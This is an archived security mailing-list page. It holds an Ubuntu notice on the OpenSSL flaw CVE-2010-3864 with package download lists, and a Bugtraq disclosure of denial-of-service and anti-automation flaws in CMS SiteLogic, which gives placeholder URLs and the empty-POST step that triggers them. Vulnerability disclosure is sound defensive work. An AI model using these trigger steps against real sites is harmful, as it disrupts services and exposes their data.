Network Security Audits / Vulnerability Assessments by SecuritySpace

Vulnerability Search		Search 324607 CVE descriptions and 146377 test descriptions, access 10,000+ cross references.
	Tests CVE All

==========================================================Ubuntu Security Notice USN-1018-1          November 18, 2010
openssl vulnerability
CVE-2010-3864
==========================================================
A security issue affects the following Ubuntu releases:

Ubuntu 8.04 LTS
Ubuntu 9.10
Ubuntu 10.04 LTS
Ubuntu 10.10

This advisory also applies to the corresponding versions of
Kubuntu, Edubuntu, and Xubuntu.

The problem can be corrected by upgrading your system to the
following package versions:

Ubuntu 8.04 LTS:
  libssl0.9.8                     0.9.8g-4ubuntu3.12

Ubuntu 9.10:
  libssl0.9.8                     0.9.8g-16ubuntu3.4

Ubuntu 10.04 LTS:
  libssl0.9.8                     0.9.8k-7ubuntu8.4

Ubuntu 10.10:
  libssl0.9.8                     0.9.8o-1ubuntu4.2

After a standard system update you need to reboot your computer to make
all the necessary changes.

Details follow:

Rob Hulswit discovered a race condition in the OpenSSL TLS server
extension parsing code when used within a threaded server. A remote
attacker could trigger this flaw to cause a denial of service
or possibly execute arbitrary code with application privileges.
(CVE-2010-3864)

Updated packages for Ubuntu 8.04 LTS:

  Source archives:

    http://security.ubuntu.com/ubuntu/pool/main/o/openssl/openssl_0.9.8g-4ubuntu3.12.diff.gz
      Size/MD5:    73629 8e83dfc0b87bcbae8b314538a3468030
    http://security.ubuntu.com/ubuntu/pool/main/o/openssl/openssl_0.9.8g-4ubuntu3.12.dsc
      Size/MD5:     1563 e2ad4535833ad250f3a80547f74ff939
    http://security.ubuntu.com/ubuntu/pool/main/o/openssl/openssl_0.9.8g.orig.tar.gz
      Size/MD5:  3354792 acf70a16359bf3658bdfb74bda1c4419

  Architecture independent packages:

    http://security.ubuntu.com/ubuntu/pool/main/o/openssl/openssl-doc_0.9.8g-4ubuntu3.12_all.deb
      Size/MD5:   641642 1b8774cb48f140e2a65b44425e6a84a9

  amd64 architecture (Athlon64, Opteron, EM64T Xeon):

    http://security.ubuntu.com/ubuntu/pool/main/o/openssl/libcrypto0.9.8-udeb_0.9.8g-4ubuntu3.12_amd64.udeb
      Size/MD5:   604226 701b868dae6ff3b4acaecba7e4805c73
    http://security.ubuntu.com/ubuntu/pool/main/o/openssl/libssl-dev_0.9.8g-4ubuntu3.12_amd64.deb
      Size/MD5:  2084370 9dc23d12935cc2deaf0764464fb5c165
    http://security.ubuntu.com/ubuntu/pool/main/o/openssl/libssl0.9.8-dbg_0.9.8g-4ubuntu3.12_amd64.deb
      Size/MD5:  1621412 21a0195a5b94a95c0f31a11cdb442332
    http://security.ubuntu.com/ubuntu/pool/main/o/openssl/libssl0.9.8_0.9.8g-4ubuntu3.12_amd64.deb
      Size/MD5:   941460 36b4e23bedeaee6dd3c950578da33ce1
    http://security.ubuntu.com/ubuntu/pool/main/o/openssl/openssl_0.9.8g-4ubuntu3.12_amd64.deb
      Size/MD5:   392742 4a8010b5cd8f1b489660479bee7667ed

  i386 architecture (x86 compatible Intel/AMD):

    http://security.ubuntu.com/ubuntu/pool/main/o/openssl/libcrypto0.9.8-udeb_0.9.8g-4ubuntu3.12_i386.udeb
      Size/MD5:   564968 3e35d334fe54a00fb455b9c5a540775d
    http://security.ubuntu.com/ubuntu/pool/main/o/openssl/libssl-dev_0.9.8g-4ubuntu3.12_i386.deb
      Size/MD5:  1958032 2be87dd83d0296d0289eb62e25e28d88
    http://security.ubuntu.com/ubuntu/pool/main/o/openssl/libssl0.9.8-dbg_0.9.8g-4ubuntu3.12_i386.deb
      Size/MD5:  5410054 d9c82287b3e43f6cbdc9d6f371983967
    http://security.ubuntu.com/ubuntu/pool/main/o/openssl/libssl0.9.8_0.9.8g-4ubuntu3.12_i386.deb
      Size/MD5:  2860472 3061edbd23d5c0647588a8ad2567cd84
    http://security.ubuntu.com/ubuntu/pool/main/o/openssl/openssl_0.9.8g-4ubuntu3.12_i386.deb
      Size/MD5:   387702 7eb7b9e1284eb43f8d840455e6eb83b0

  lpia architecture (Low Power Intel Architecture):

    http://ports.ubuntu.com/pool/main/o/openssl/libcrypto0.9.8-udeb_0.9.8g-4ubuntu3.12_lpia.udeb
      Size/MD5:   535616 b226bddb20b4f228d7218a22f986d9fa
    http://ports.ubuntu.com/pool/main/o/openssl/libssl-dev_0.9.8g-4ubuntu3.12_lpia.deb
      Size/MD5:  1932078 903a47c3d8ba7ad7eeb1b184fb475d75
    http://ports.ubuntu.com/pool/main/o/openssl/libssl0.9.8-dbg_0.9.8g-4ubuntu3.12_lpia.deb
      Size/MD5:  1532942 7594def771ba6c7c24d6da4557899ce5
    http://ports.ubuntu.com/pool/main/o/openssl/libssl0.9.8_0.9.8g-4ubuntu3.12_lpia.deb
      Size/MD5:   852414 c5b8154e801e4ff4e6a5c6e81d284599
    http://ports.ubuntu.com/pool/main/o/openssl/openssl_0.9.8g-4ubuntu3.12_lpia.deb
      Size/MD5:   392078 695a93af2b6a22f8b2871d854679b854

  powerpc architecture (Apple Macintosh G3/G4/G5):

    http://ports.ubuntu.com/pool/main/o/openssl/libcrypto0.9.8-udeb_0.9.8g-4ubuntu3.12_powerpc.udeb
      Size/MD5:   610448 f22581d0b31ea15eba35688d89127eed
    http://ports.ubuntu.com/pool/main/o/openssl/libssl-dev_0.9.8g-4ubuntu3.12_powerpc.deb
      Size/MD5:  2091252 5dd7ddf2bf6acbce76b9fa0895c021cb
    http://ports.ubuntu.com/pool/main/o/openssl/libssl0.9.8-dbg_0.9.8g-4ubuntu3.12_powerpc.deb
      Size/MD5:  1658682 d9d826c948abbac11f786b44d6a39f31
    http://ports.ubuntu.com/pool/main/o/openssl/libssl0.9.8_0.9.8g-4ubuntu3.12_powerpc.deb
      Size/MD5:   953672 a3b3b5919a66d891259eb5727a11c400
    http://ports.ubuntu.com/pool/main/o/openssl/openssl_0.9.8g-4ubuntu3.12_powerpc.deb
      Size/MD5:   401062 934b6bac1c1a830b1fb26f163b52787b

  sparc architecture (Sun SPARC/UltraSPARC):

    http://ports.ubuntu.com/pool/main/o/openssl/libcrypto0.9.8-udeb_0.9.8g-4ubuntu3.12_sparc.udeb
      Size/MD5:   559790 ef57e27f275920eaeb74c6e82a82bf6c
    http://ports.ubuntu.com/pool/main/o/openssl/libssl-dev_0.9.8g-4ubuntu3.12_sparc.deb
      Size/MD5:  1995864 a218c99c8c6959d82c1c147e10878465
    http://ports.ubuntu.com/pool/main/o/openssl/libssl0.9.8-dbg_0.9.8g-4ubuntu3.12_sparc.deb
      Size/MD5:  3926654 8d863a5893c646537cc65a52a10e9a9f
    http://ports.ubuntu.com/pool/main/o/openssl/libssl0.9.8_0.9.8g-4ubuntu3.12_sparc.deb
      Size/MD5:  2264484 1767c764a099a5dc707ba92c8bde0f95
    http://ports.ubuntu.com/pool/main/o/openssl/openssl_0.9.8g-4ubuntu3.12_sparc.deb
      Size/MD5:   400286 3e7562cd8baa00bd9942ca99ed8816f9

Updated packages for Ubuntu 9.10:

  Source archives:

    http://security.ubuntu.com/ubuntu/pool/main/o/openssl/openssl_0.9.8g-16ubuntu3.4.diff.gz
      Size/MD5:    74892 1e76acd1459b1dc464dd3df22e31ebf9
    http://security.ubuntu.com/ubuntu/pool/main/o/openssl/openssl_0.9.8g-16ubuntu3.4.dsc
      Size/MD5:     2078 1ab15c05257995dd4c382867664494f9
    http://security.ubuntu.com/ubuntu/pool/main/o/openssl/openssl_0.9.8g.orig.tar.gz
      Size/MD5:  3354792 acf70a16359bf3658bdfb74bda1c4419

  Architecture independent packages:

    http://security.ubuntu.com/ubuntu/pool/main/o/openssl/openssl-doc_0.9.8g-16ubuntu3.4_all.deb
      Size/MD5:   632332 4a6b90fd29854736a4d8ee9a4582aa43

  amd64 architecture (Athlon64, Opteron, EM64T Xeon):

    http://security.ubuntu.com/ubuntu/pool/main/o/openssl/libcrypto0.9.8-udeb_0.9.8g-16ubuntu3.4_amd64.udeb
      Size/MD5:   628188 7df7819e135f6376dbc9394161663417
    http://security.ubuntu.com/ubuntu/pool/main/o/openssl/libssl-dev_0.9.8g-16ubuntu3.4_amd64.deb
      Size/MD5:  2126128 4f30af8c22ae9946674588b87d61443b
    http://security.ubuntu.com/ubuntu/pool/main/o/openssl/libssl0.9.8-dbg_0.9.8g-16ubuntu3.4_amd64.deb
      Size/MD5:  1639434 d4f6438ad31595e4f202a2d7443658d8
    http://security.ubuntu.com/ubuntu/pool/main/o/openssl/libssl0.9.8_0.9.8g-16ubuntu3.4_amd64.deb
      Size/MD5:   966666 9a5b309423d255e4a25b4dbe94dda4c3
    http://security.ubuntu.com/ubuntu/pool/main/o/openssl/openssl_0.9.8g-16ubuntu3.4_amd64.deb
      Size/MD5:   403894 e1c22f4d8b6024b3c7dc5fbd552ca774

  i386 architecture (x86 compatible Intel/AMD):

    http://security.ubuntu.com/ubuntu/pool/main/o/openssl/libcrypto0.9.8-udeb_0.9.8g-16ubuntu3.4_i386.udeb
      Size/MD5:   571492 5b6cf1f96d0faddd984ce167376dd154
    http://security.ubuntu.com/ubuntu/pool/main/o/openssl/libssl-dev_0.9.8g-16ubuntu3.4_i386.deb
      Size/MD5:  1974686 b3f853df1ed132689b3e21a017659f80
    http://security.ubuntu.com/ubuntu/pool/main/o/openssl/libssl0.9.8-dbg_0.9.8g-16ubuntu3.4_i386.deb
      Size/MD5:  5631780 d709c5a272075b25a4c15b4c2f808c7c
    http://security.ubuntu.com/ubuntu/pool/main/o/openssl/libssl0.9.8_0.9.8g-16ubuntu3.4_i386.deb
      Size/MD5:  2923378 8c20a97ed8ee25ee1e3e3aa58bfaa821
    http://security.ubuntu.com/ubuntu/pool/main/o/openssl/openssl_0.9.8g-16ubuntu3.4_i386.deb
      Size/MD5:   397868 6a44829f6f0d541f90399fd2d7b8dc80

  armel architecture (ARM Architecture):

    http://ports.ubuntu.com/pool/main/o/openssl/libcrypto0.9.8-udeb_0.9.8g-16ubuntu3.4_armel.udeb
      Size/MD5:   541456 12957059c22f1acecd59719f24b9bd6e
    http://ports.ubuntu.com/pool/main/o/openssl/libssl-dev_0.9.8g-16ubuntu3.4_armel.deb
      Size/MD5:  1962502 4abe36617e61515ac4c7b407c27e137e
    http://ports.ubuntu.com/pool/main/o/openssl/libssl0.9.8-dbg_0.9.8g-16ubuntu3.4_armel.deb
      Size/MD5:  1537386 72c7c7a258af3df54ca74e6df6b19c0f
    http://ports.ubuntu.com/pool/main/o/openssl/libssl0.9.8_0.9.8g-16ubuntu3.4_armel.deb
      Size/MD5:   856732 3368c9e7825937c1b414cbe362b77b1e
    http://ports.ubuntu.com/pool/main/o/openssl/openssl_0.9.8g-16ubuntu3.4_armel.deb
      Size/MD5:   393190 9fb61fc13bb6d73f31c3ffd587a13ebe

  lpia architecture (Low Power Intel Architecture):

    http://ports.ubuntu.com/pool/main/o/openssl/libcrypto0.9.8-udeb_0.9.8g-16ubuntu3.4_lpia.udeb
      Size/MD5:   547518 8b6a7781982f8e20311427ced73531c5
    http://ports.ubuntu.com/pool/main/o/openssl/libssl-dev_0.9.8g-16ubuntu3.4_lpia.deb
      Size/MD5:  1957320 2003c2b4285c825743b2b5307c892a91
    http://ports.ubuntu.com/pool/main/o/openssl/libssl0.9.8-dbg_0.9.8g-16ubuntu3.4_lpia.deb
      Size/MD5:  1590426 4cabbb4c4f7c0e2de8316a2e2a466c6e
    http://ports.ubuntu.com/pool/main/o/openssl/libssl0.9.8_0.9.8g-16ubuntu3.4_lpia.deb
      Size/MD5:   868652 37eb45b5905a43660d9fb273344c9069
    http://ports.ubuntu.com/pool/main/o/openssl/openssl_0.9.8g-16ubuntu3.4_lpia.deb
      Size/MD5:   399904 879319ad09dfe58eb0ca1a002440b5ea

  powerpc architecture (Apple Macintosh G3/G4/G5):

    http://ports.ubuntu.com/pool/main/o/openssl/libcrypto0.9.8-udeb_0.9.8g-16ubuntu3.4_powerpc.udeb
      Size/MD5:   619102 510c588a0aa69cff82cbee62d4a1c896
    http://ports.ubuntu.com/pool/main/o/openssl/libssl-dev_0.9.8g-16ubuntu3.4_powerpc.deb
      Size/MD5:  2115912 3694909ac8d3252c103b697010bbf81f
    http://ports.ubuntu.com/pool/main/o/openssl/libssl0.9.8-dbg_0.9.8g-16ubuntu3.4_powerpc.deb
      Size/MD5:  1697564 f1f0c9cb748e83af3cadbab54822d194
    http://ports.ubuntu.com/pool/main/o/openssl/libssl0.9.8_0.9.8g-16ubuntu3.4_powerpc.deb
      Size/MD5:   951104 63d368910255790e13f1d6dccb37af61
    http://ports.ubuntu.com/pool/main/o/openssl/openssl_0.9.8g-16ubuntu3.4_powerpc.deb
      Size/MD5:   399368 b8b4c8b5c72cc017ca5672198d9bf2aa

  sparc architecture (Sun SPARC/UltraSPARC):

    http://ports.ubuntu.com/pool/main/o/openssl/libcrypto0.9.8-udeb_0.9.8g-16ubuntu3.4_sparc.udeb
      Size/MD5:   563634 c466030f028e70dfa747932614220ac4
    http://ports.ubuntu.com/pool/main/o/openssl/libssl-dev_0.9.8g-16ubuntu3.4_sparc.deb
      Size/MD5:  2008228 be9a8ee1feb1aa4ea62679ca2fd8bd0f
    http://ports.ubuntu.com/pool/main/o/openssl/libssl0.9.8-dbg_0.9.8g-16ubuntu3.4_sparc.deb
      Size/MD5:  3995200 fa2db7f4fc5bf4af9341b53c9ba85ff0
    http://ports.ubuntu.com/pool/main/o/openssl/libssl0.9.8_0.9.8g-16ubuntu3.4_sparc.deb
      Size/MD5:  2283626 d9704a064c6a85ac92e946ca2faa65ea
    http://ports.ubuntu.com/pool/main/o/openssl/openssl_0.9.8g-16ubuntu3.4_sparc.deb
      Size/MD5:   409332 06606e1d335f32e3e44e48d8afa6d1a8

Updated packages for Ubuntu 10.04 LTS:

  Source archives:

    http://security.ubuntu.com/ubuntu/pool/main/o/openssl/openssl_0.9.8k-7ubuntu8.4.diff.gz
      Size/MD5:   110806 b6a72f5617d3e743da730f947365450f
    http://security.ubuntu.com/ubuntu/pool/main/o/openssl/openssl_0.9.8k-7ubuntu8.4.dsc
      Size/MD5:     2102 5fad7d8112b789093a8b74b61d894dd7
    http://security.ubuntu.com/ubuntu/pool/main/o/openssl/openssl_0.9.8k.orig.tar.gz
      Size/MD5:  3852259 e555c6d58d276aec7fdc53363e338ab3

  Architecture independent packages:

    http://security.ubuntu.com/ubuntu/pool/main/o/openssl/openssl-doc_0.9.8k-7ubuntu8.4_all.deb
      Size/MD5:   640484 65f89cd09503e9dfd2a792cccb2ce7e0

  amd64 architecture (Athlon64, Opteron, EM64T Xeon):

    http://security.ubuntu.com/ubuntu/pool/main/o/openssl/libcrypto0.9.8-udeb_0.9.8k-7ubuntu8.4_amd64.udeb
      Size/MD5:   630234 2abd8fa21277e78526c267d5a32c6bc1
    http://security.ubuntu.com/ubuntu/pool/main/o/openssl/libssl-dev_0.9.8k-7ubuntu8.4_amd64.deb
      Size/MD5:  2150212 e153c8f55f48da761f9735f9cba56007
    http://security.ubuntu.com/ubuntu/pool/main/o/openssl/libssl0.9.8-dbg_0.9.8k-7ubuntu8.4_amd64.deb
      Size/MD5:  1647148 cd992f2083ff30d39486a505c94ca81d
    http://security.ubuntu.com/ubuntu/pool/main/o/openssl/libssl0.9.8-udeb_0.9.8k-7ubuntu8.4_amd64.udeb
      Size/MD5:   136200 e61ecac6d3a681ed5aad1f9fec4c6eea
    http://security.ubuntu.com/ubuntu/pool/main/o/openssl/libssl0.9.8_0.9.8k-7ubuntu8.4_amd64.deb
      Size/MD5:   979012 fdf5cad65e1b1a49a6ab7c87a5191166
    http://security.ubuntu.com/ubuntu/pool/main/o/openssl/openssl_0.9.8k-7ubuntu8.4_amd64.deb
      Size/MD5:   407424 f5b300a9550da7a9ce44a33591d1238d

  i386 architecture (x86 compatible Intel/AMD):

    http://security.ubuntu.com/ubuntu/pool/main/o/openssl/libcrypto0.9.8-udeb_0.9.8k-7ubuntu8.4_i386.udeb
      Size/MD5:   582640 3331eb0a84a73db5c2a9615e8bcf7904
    http://security.ubuntu.com/ubuntu/pool/main/o/openssl/libssl-dev_0.9.8k-7ubuntu8.4_i386.deb
      Size/MD5:  2006546 c98ca08ce6c8e3794f66aa742567c12c
    http://security.ubuntu.com/ubuntu/pool/main/o/openssl/libssl0.9.8-dbg_0.9.8k-7ubuntu8.4_i386.deb
      Size/MD5:  5806250 dfb40541f377c6b0172915252ab6f1ad
    http://security.ubuntu.com/ubuntu/pool/main/o/openssl/libssl0.9.8-udeb_0.9.8k-7ubuntu8.4_i386.udeb
      Size/MD5:   129764 3dffc9e476e03e31d7cf87e613cf6347
    http://security.ubuntu.com/ubuntu/pool/main/o/openssl/libssl0.9.8_0.9.8k-7ubuntu8.4_i386.deb
      Size/MD5:  3014970 a4aba084160b01e25784889c4d0bf985
    http://security.ubuntu.com/ubuntu/pool/main/o/openssl/openssl_0.9.8k-7ubuntu8.4_i386.deb
      Size/MD5:   400394 0cbe4b15430e06ca2bbf9eb83db2f85e

  armel architecture (ARM Architecture):

    http://ports.ubuntu.com/pool/main/o/openssl/libcrypto0.9.8-udeb_0.9.8k-7ubuntu8.4_armel.udeb
      Size/MD5:   532310 61434da163a63ea2be3cb58b633fc846
    http://ports.ubuntu.com/pool/main/o/openssl/libssl-dev_0.9.8k-7ubuntu8.4_armel.deb
      Size/MD5:  1930856 a2e8d1d2c9fc9129b377bf7abcc733cc
    http://ports.ubuntu.com/pool/main/o/openssl/libssl0.9.8-dbg_0.9.8k-7ubuntu8.4_armel.deb
      Size/MD5:  1627102 ceaa13f3900374692d226ccf4f8213a8
    http://ports.ubuntu.com/pool/main/o/openssl/libssl0.9.8-udeb_0.9.8k-7ubuntu8.4_armel.udeb
      Size/MD5:   115694 9c8552651df4f2a58f837e7a9d7fafc8
    http://ports.ubuntu.com/pool/main/o/openssl/libssl0.9.8_0.9.8k-7ubuntu8.4_armel.deb
      Size/MD5:   850126 ffcf71c45014f47bb073c35ea3791ca3
    http://ports.ubuntu.com/pool/main/o/openssl/openssl_0.9.8k-7ubuntu8.4_armel.deb
      Size/MD5:   395314 d7f37f0bc27c12dd6b6b403f4b3cb4a9

  powerpc architecture (Apple Macintosh G3/G4/G5):

    http://ports.ubuntu.com/pool/main/o/openssl/libcrypto0.9.8-udeb_0.9.8k-7ubuntu8.4_powerpc.udeb
      Size/MD5:   627048 213a69bc3eb7655f515607978ae33f3f
    http://ports.ubuntu.com/pool/main/o/openssl/libssl-dev_0.9.8k-7ubuntu8.4_powerpc.deb
      Size/MD5:  2147558 1e0f72bf7bcb162dc7d019d4c38da139
    http://ports.ubuntu.com/pool/main/o/openssl/libssl0.9.8-dbg_0.9.8k-7ubuntu8.4_powerpc.deb
      Size/MD5:  1718724 de13bd56b8766f7a3a0af63a6746fdb4
    http://ports.ubuntu.com/pool/main/o/openssl/libssl0.9.8-udeb_0.9.8k-7ubuntu8.4_powerpc.udeb
      Size/MD5:   135590 64ccc06313a43097e4a8078f326f322d
    http://ports.ubuntu.com/pool/main/o/openssl/libssl0.9.8_0.9.8k-7ubuntu8.4_powerpc.deb
      Size/MD5:   969534 7618d2e2d3c177b8133e977148f0fa51
    http://ports.ubuntu.com/pool/main/o/openssl/openssl_0.9.8k-7ubuntu8.4_powerpc.deb
      Size/MD5:   402854 7cdebbca62cd476110fd6873a68af8c2

  sparc architecture (Sun SPARC/UltraSPARC):

    http://ports.ubuntu.com/pool/main/o/openssl/libcrypto0.9.8-udeb_0.9.8k-7ubuntu8.4_sparc.udeb
      Size/MD5:   597972 b50635a10bde28f8cb90ad32c4c86ace
    http://ports.ubuntu.com/pool/main/o/openssl/libssl-dev_0.9.8k-7ubuntu8.4_sparc.deb
      Size/MD5:  2065616 c4a77c3e7591e46f12c17e74600d8e8c
    http://ports.ubuntu.com/pool/main/o/openssl/libssl0.9.8-dbg_0.9.8k-7ubuntu8.4_sparc.deb
      Size/MD5:  4094484 c854f28a4b5c3d5a5224162c2e73fd1c
    http://ports.ubuntu.com/pool/main/o/openssl/libssl0.9.8-udeb_0.9.8k-7ubuntu8.4_sparc.udeb
      Size/MD5:   125876 ec4b4590d98e5afbecab93a8bfcaafc6
    http://ports.ubuntu.com/pool/main/o/openssl/libssl0.9.8_0.9.8k-7ubuntu8.4_sparc.deb
      Size/MD5:  2353966 2c604a9bf413bfcca5849f62b72dc213
    http://ports.ubuntu.com/pool/main/o/openssl/openssl_0.9.8k-7ubuntu8.4_sparc.deb
      Size/MD5:   419326 5b84ac9a8a66b2905c8583794c27f40b

Updated packages for Ubuntu 10.10:

  Source archives:

    http://security.ubuntu.com/ubuntu/pool/main/o/openssl/openssl_0.9.8o-1ubuntu4.2.debian.tar.gz
      Size/MD5:    90421 382ee5838fb9302d6eb05fd7eabad0c5
    http://security.ubuntu.com/ubuntu/pool/main/o/openssl/openssl_0.9.8o-1ubuntu4.2.dsc
      Size/MD5:     2118 c69e897130a8d5ca87745eeab5617a58
    http://security.ubuntu.com/ubuntu/pool/main/o/openssl/openssl_0.9.8o.orig.tar.gz
      Size/MD5:  3772542 63ddc5116488985e820075e65fbe6aa4

  Architecture independent packages:

    http://security.ubuntu.com/ubuntu/pool/main/o/openssl/openssl-doc_0.9.8o-1ubuntu4.2_all.deb
      Size/MD5:   654054 b647f3b682bc1575a39b0ceb5925b34b

  amd64 architecture (Athlon64, Opteron, EM64T Xeon):

    http://security.ubuntu.com/ubuntu/pool/main/o/openssl/libcrypto0.9.8-udeb_0.9.8o-1ubuntu4.2_amd64.udeb
      Size/MD5:   620310 aebe6090da811e53dc923db32ea63934
    http://security.ubuntu.com/ubuntu/pool/main/o/openssl/libssl-dev_0.9.8o-1ubuntu4.2_amd64.deb
      Size/MD5:  2160054 b604084db32fa210f941ef9616cd8790
    http://security.ubuntu.com/ubuntu/pool/main/o/openssl/libssl0.9.8-dbg_0.9.8o-1ubuntu4.2_amd64.deb
      Size/MD5:  1550408 392da3a38355be1628248b7d0e3f4b05
    http://security.ubuntu.com/ubuntu/pool/main/o/openssl/libssl0.9.8-udeb_0.9.8o-1ubuntu4.2_amd64.udeb
      Size/MD5:   137398 9cc43201b3c58c03ff02d41d37125edc
    http://security.ubuntu.com/ubuntu/pool/main/o/openssl/libssl0.9.8_0.9.8o-1ubuntu4.2_amd64.deb
      Size/MD5:   923292 995e8c23b321386e920314b0e689c431
    http://security.ubuntu.com/ubuntu/pool/main/o/openssl/openssl_0.9.8o-1ubuntu4.2_amd64.deb
      Size/MD5:   406972 f38f8d9e1cfaf8c62e5dd018d401466b

  i386 architecture (x86 compatible Intel/AMD):

    http://security.ubuntu.com/ubuntu/pool/main/o/openssl/libcrypto0.9.8-udeb_0.9.8o-1ubuntu4.2_i386.udeb
      Size/MD5:   570732 96c6c35ab562a7b6f8ae420586983800
    http://security.ubuntu.com/ubuntu/pool/main/o/openssl/libssl-dev_0.9.8o-1ubuntu4.2_i386.deb
      Size/MD5:  2019446 6d5dba75b78c9d4bc3115259a13ee7a1
    http://security.ubuntu.com/ubuntu/pool/main/o/openssl/libssl0.9.8-dbg_0.9.8o-1ubuntu4.2_i386.deb
      Size/MD5:  1553214 133f3f1119a0efceaa2a32bc3513a509
    http://security.ubuntu.com/ubuntu/pool/main/o/openssl/libssl0.9.8-udeb_0.9.8o-1ubuntu4.2_i386.udeb
      Size/MD5:   130550 2d09f5353c962d6663b376798c027821
    http://security.ubuntu.com/ubuntu/pool/main/o/openssl/libssl0.9.8_0.9.8o-1ubuntu4.2_i386.deb
      Size/MD5:   867398 2b1938418f0536821825b819ec0d28fd
    http://security.ubuntu.com/ubuntu/pool/main/o/openssl/openssl_0.9.8o-1ubuntu4.2_i386.deb
      Size/MD5:   400256 6760d7da6ad7f9e4c78ccff24ace8cf4

  armel architecture (ARM Architecture):

    http://ports.ubuntu.com/pool/main/o/openssl/libcrypto0.9.8-udeb_0.9.8o-1ubuntu4.2_armel.udeb
      Size/MD5:   566064 35d4823c92f9cf6e3ec4455bd8df3bc7
    http://ports.ubuntu.com/pool/main/o/openssl/libssl-dev_0.9.8o-1ubuntu4.2_armel.deb
      Size/MD5:  2012398 7004fecedfa647a5efebc32f79f77495
    http://ports.ubuntu.com/pool/main/o/openssl/libssl0.9.8-dbg_0.9.8o-1ubuntu4.2_armel.deb
      Size/MD5:  1542246 4a2fb36021977ad1242c194e69247ccc
    http://ports.ubuntu.com/pool/main/o/openssl/libssl0.9.8-udeb_0.9.8o-1ubuntu4.2_armel.udeb
      Size/MD5:   120490 09b5012db260645b50e8fd22af47ee11
    http://ports.ubuntu.com/pool/main/o/openssl/libssl0.9.8_0.9.8o-1ubuntu4.2_armel.deb
      Size/MD5:   851492 b77a33a9380998f7b67ae35e6eab777d
    http://ports.ubuntu.com/pool/main/o/openssl/openssl_0.9.8o-1ubuntu4.2_armel.deb
      Size/MD5:   406486 06e635ce46acd6a330f58c8cb9bb9776

  powerpc architecture (Apple Macintosh G3/G4/G5):

    http://ports.ubuntu.com/pool/main/o/openssl/libcrypto0.9.8-udeb_0.9.8o-1ubuntu4.2_powerpc.udeb
      Size/MD5:   616136 f2235905b40c025453324a44344cb1f2
    http://ports.ubuntu.com/pool/main/o/openssl/libssl-dev_0.9.8o-1ubuntu4.2_powerpc.deb
      Size/MD5:  2154606 c377e7746a7ccaa408e1251c52fb3447
    http://ports.ubuntu.com/pool/main/o/openssl/libssl0.9.8-dbg_0.9.8o-1ubuntu4.2_powerpc.deb
      Size/MD5:  1618532 58344409611a12394988f722708cf7e3
    http://ports.ubuntu.com/pool/main/o/openssl/libssl0.9.8-udeb_0.9.8o-1ubuntu4.2_powerpc.udeb
      Size/MD5:   136118 ea4c3820ae462a69fdb0d65469b93cdc
    http://ports.ubuntu.com/pool/main/o/openssl/libssl0.9.8_0.9.8o-1ubuntu4.2_powerpc.deb
      Size/MD5:   917576 0358271b7a26fbd3ad7f4568a2d1f9dc
    http://ports.ubuntu.com/pool/main/o/openssl/openssl_0.9.8o-1ubuntu4.2_powerpc.deb
      Size/MD5:   402020 78c7f6d5915dc65d3e6ea47f930fe181

From - Mon Nov 22 20:20:54 2010
X-Account-Key: account7
X-UIDL: 4cc06000000126d4
X-Mozilla-Status: 0000
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:
Return-Path: <bugtraq-return-45340-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing3.securityfocus.com (outgoing.securityfocus.com [205.206.231.27])
by mx.securityspace.com (Postfix) with ESMTP id 31183EC106
for <lists@securityspace.com>; Mon, 22 Nov 2010 11:26:28 -0500 (EST)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing3.securityfocus.com (Postfix) with QMQP
id 6E1DD2370C0; Mon, 22 Nov 2010 09:23:08 -0700 (MST)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 29786 invoked from network); 19 Nov 2010 21:44:22 -0000
Message-ID: <003a01cb8832$d5041cf0$c103fea9@ml>
Reply-To: "MustLive" <mustlive@websecurity.com.ua>
From: "MustLive" <mustlive@websecurity.com.ua>
To: <bugtraq@securityfocus.com>
Subject: New vulnerabilities in CMS SiteLogic
Date: Fri, 19 Nov 2010 23:43:24 +0200
Organization: Websecurity
MIME-Version: 1.0
Content-Type: text/plain;
format=flowed;
charset="windows-1251";
reply-type=original
Content-Transfer-Encoding: 8bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2900.2527
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2527
Status: RO

Hello Bugtraq!

I want to warn you about Insufficient Anti-automation and Denial of Service
vulnerabilities in CMS SiteLogic (in addition to those multiple
vulnerabilities in CMS SiteLogic which I disclosed in 2009-2010). It's
Ukrainian commercial CMS.

SecurityVulns ID: 11258.

-------------------------
Affected products:
-------------------------

Vulnerable are all versions of CMS SiteLogic with corresponding
functionality.

----------
Details:
----------

Insufficient Anti-automation (WASC-21):

http://site/?mid=1

In contact form there is no protection from automated requests (captcha).

DoS (WASC-10):

Empty POST request at page http://site in field �Search at the site� shows
all records from DB.

DoS (WASC-10):

http://site/?mid=1&action=arhiv

At the page of archive all records from DB are showing.

------------
Timeline:
------------

2010.08.31 - announced at my site.
2010.09.01 - informed developers.
2010.11.17 - disclosed at my site.

I mentioned about these vulnerabilities at my site
(http://websecurity.com.ua/4487/).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua

From - Mon Nov 22 20:20:55 2010
X-Account-Key: account7
X-UIDL: 4cc06000000126d6
X-Mozilla-Status: 0000
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:
Return-Path: <bugtraq-return-45341-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing3.securityfocus.com (outgoing.securityfocus.com [205.206.231.27])
by mx.securityspace.com (Postfix) with ESMTP id 45021EC175
for <lists@securityspace.com>; Mon, 22 Nov 2010 11:34:00 -0500 (EST)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing3.securityfocus.com (Postfix) with QMQP
id BDB9C23711F; Mon, 22 Nov 2010 09:24:14 -0700 (MST)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
